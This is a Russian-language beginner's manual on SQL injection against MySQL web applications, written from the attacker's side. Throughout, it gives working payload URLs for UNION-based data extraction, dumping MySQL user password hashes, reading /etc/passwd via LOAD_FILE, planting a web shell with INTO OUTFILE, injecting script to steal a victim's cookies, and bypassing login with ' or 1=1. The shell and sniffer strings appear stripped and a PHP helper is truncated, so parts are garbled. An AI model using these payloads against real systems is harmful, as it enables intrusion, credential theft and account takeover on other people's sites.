Мануал по SQL-injection в MySQL
[Intro]
Для начала давайте разберемся что вообще такое SQL. Structured Query Language - дословный перевод (структурный язык запросов) - это стандартный язык при помощи который строится на запросах к базам данных.
В этой статье я рассмотрю основные методы атаки SQL-injection которая получила большое распространение в последнее время. В статье будут рассмотрены основныевозможности вида данной атаки. Статья в основном написана для новичков, но если в ней каждый для себя откроет что то новое то это значит что работа была проделана не зря. Я предполагаю, что вы не много знакомы с языком SQL и с основами WEB-программирования.
[Поиск SQL-injection]
Допустим, у нас есть скрипт
http://target/list.php?id=1
он посылает запрос SQL серверу примерно такой:
SELECT * FROM listtbl WHERE id=1
Чтобы установить наличие ошибки SQL-injection и проверить есть - ли в скрипте фильтры нужно передать кривое значение в параметр ID Например, 1" тогда URL будет выглядеть так:
http://target/list.php?id=1" а запрос, посылаемый скриптом MySQL серверу, при отсутствии фильтрации кавычки будет выглядеть примерно так:
SELECT * FROM listtbl WHERE id=1" и естественно MySQL сервер вернёт ошибку. В большинстве случаев скрипты не выводят ошибки MySQL,вместо этого можно увидеть пустую страницу или ошибку PHP. Итак если возникла ошибка или мы получили пустую страницу - значит кавычка не фильтруется. Для большей уверенности можно выполнить вот этот запрос:
http://target/list.php?id=2-1
он должен вернуть значение аналогичное:
http://target/list.php?id=1
[Получение интересной информации]
Чтобы получить секретную информацию нам нужно прикрепить к SELECT"у (позволяет создать виртуальную таблицу), формируемому скриптом, свой SELECT. Для этого используется инструкция UNION что была включена в версию 4.1, а вполдь до версии 4.0 не было возможности объединения запросов. Таким образом облегчая жизнь программистом, создатели облегчили её и хакерам.
UNION используется следующим образом:
SELECT field1,field2,field3 FROM table1 UNION SELECT field1,field2,field3 FROM table2
причём количество полей в первом SELECT"е должно быть равно количеству полей во втором SELECT"е вернёмся к нашему бажному скрипту
http://target/list.php?id=1
выполняющему запрос:
SELECT * FROM listtbl WHERE id=1
для начала нужно исключить такой вариант что после WHERE id= присутствуют ещё условия. это делается простым "закоментариванием" символами /*
Далее т.к. мы не знаем количество полей в таблице listtbl придётся пользоваться простым перебором.
http://target/list.php?id=1 union select 1/*
http://target/list.php?id=1 union select 1,2/*
....
увеличиваем кол-во полей в нашем селекте по средствам числовых конатсант пока не получим положительный вариант. Многие для этой цели использую null (вместо числовых констант) но в таком случае, при удачном выполнении запроса, не узнать, какие из полей выводятся на экран
Допустим мы подобрали количество полей и получили следующий URL:
http://target/list.php?id=1 union select 1,2,3,4/*
теперь уже можно выполнять такие полезные функции как user() database() и version() просто подставляем их в те поля, которые
выводятся примерно так:
http://target/list.php?id=1 union select database(),user(),version(),4/*
Далее можно попробовать получить информацию о пользователях MySQL. Вся эта информация хранится в таблице mysql.user, интересующие нас Поля - User и Password
http://target/list.php?id=1 union select User,Password,3,4 from mysql.user/*
аналогично можно получить информацию из таблиц пользователя только придётся подобрать имя таблицы и имена полей.
[Чтение файлов]
Если у нас есть файловые привилегии, мы можем прочитать файлы с сервера
Для чтения файлов в MySQL предусмотрена функция LOAD_FILE("имя файла")как и в случае с функциями user() database() и version() просто подставляем её в какое-нибудь поле например так:
http://target/list.php?id=1 union select 1,LOAD_FILE("/etc/passwd"),3,4/*
при использовании этого способа часто возникают проблемы связанные с невозможностью использовать строки в запросе. Это возникает из-за "магических кавычек" решить эту проблему позволяет функция char(). В качестве параметров к этой функции через запятую передаются коды символов. например строку "/etc/passwd"(Информация о пользователях в *NIX ОС) можно заменить на char(47,101,116,99,47,112,97,115,115,119,100). Для преобразования строк в такой формат можно использовать такой php-скрипт:
for($i=0;$i
echo(ord($str[$i]).",");
}
?>
[Запись файлов]
Так же мы можем перенаправлять вывод в файл при помощи конструкции INTO OUTFILE "имя файла" и залить веб - шелл примерно так
http://site/test.php?id=1 UNION SELECT "",2,3,4 FROM table INTO OUTFILE "/usr/local/site/www/shell.php"/*
причём указывать таблицу нужно обязательно.
[SiXSS(SQL-injection for XSS)]
Иногда бывает такое что через классический SQL-injection невозможно вытащить нужные нам данные (например когда имя таблицы с юзерами подобрать не можем).
В таких случаях на помощ приходит SiXSS. Использование SiXSS подразумевает инжектирование JS и HTML кода в определённую страницу сайта с последующим впариванием ссылки на эту страницу юзеру, кукисы которого нужно стащить.
Тут всё делается так-же как при классическом SQL-injection, но мы сами задаём данные, которые нужно выводить.Например нам нужно для использования сниффера инжектировать в страницу такой код
и есть уязвимый скрипт
http://target/list.php?id=1 union select 1,2,3,4/*
где на экран выводятся значение 2 мы просто берем и вставляем наш код вместо двойки примерно так:
http://target/list.php?id=1 union select 1,"",3,4/*
и впариваем этот урл юзеру, чьи куки мы хотим получить.
[Получение данных в скриптах]
В некоторых случаях скрипты показывают всего 1 запись из таблицы (например скрипты статей) в таких случаях нам нужно заставить селект, сформированный атакуемым скриптом не вернуть ни единой записи и тем самым расчистить место для нашего селекта достигнуть этой цели можно несколькими способами. Например можно передать в поле ID несуществующее значение или воспользоваться limit"ом.
Допустим унас есть целевой скрипт:
http://target/article.php?id=1
теперь пользуясь вышеприведенными инструкциями преобразуем данный урл в такой
http://target/article.php?id=-1/*
или в такой
http://target/article.php?id=1 limit 0/*
а далее по сценарию описанному в разделе "Получение интересной информации"
[Новые возможности в MySQL 5]
Доставать информацию в MySQL 5 стало гораздо легче т.к. появилась служебная база данных information_schema. теперь хакеру не надо угадывать имена баз, таблиц и полей, вся информация о структуре той или иной базы может быть получена из служебной базы information_schema. Имена баз данных можно получить из таблицы SCHEMATA и поля SCHEMA_NAME. Имена таблиц могут быть получены из таблицы TABLES и поля TABLE_NAME Список всех полей лежит в таблице COLUMNS, поле COLUMN_NAME
[Обход авторизации]
Некоторые скрипты авторизации при получении логина и пароля составляют примерно такой запрос:
SELECT * FROM users WHERE `name`="Vasa" AND `pas`="qwerty"
И это неправильно такая авторизация обходится очень просто. Хакер просто передаёт в качестве логина такую комбинацию символов
" or 1=1/*
в результате получается такой запрос:
SELECT * FROM users WHERE `name`="" or 1=1/*" AND `pas`=""
Тут проверка паса просто "закоментаривается" а проверка логина обходится конструкцией or 1=1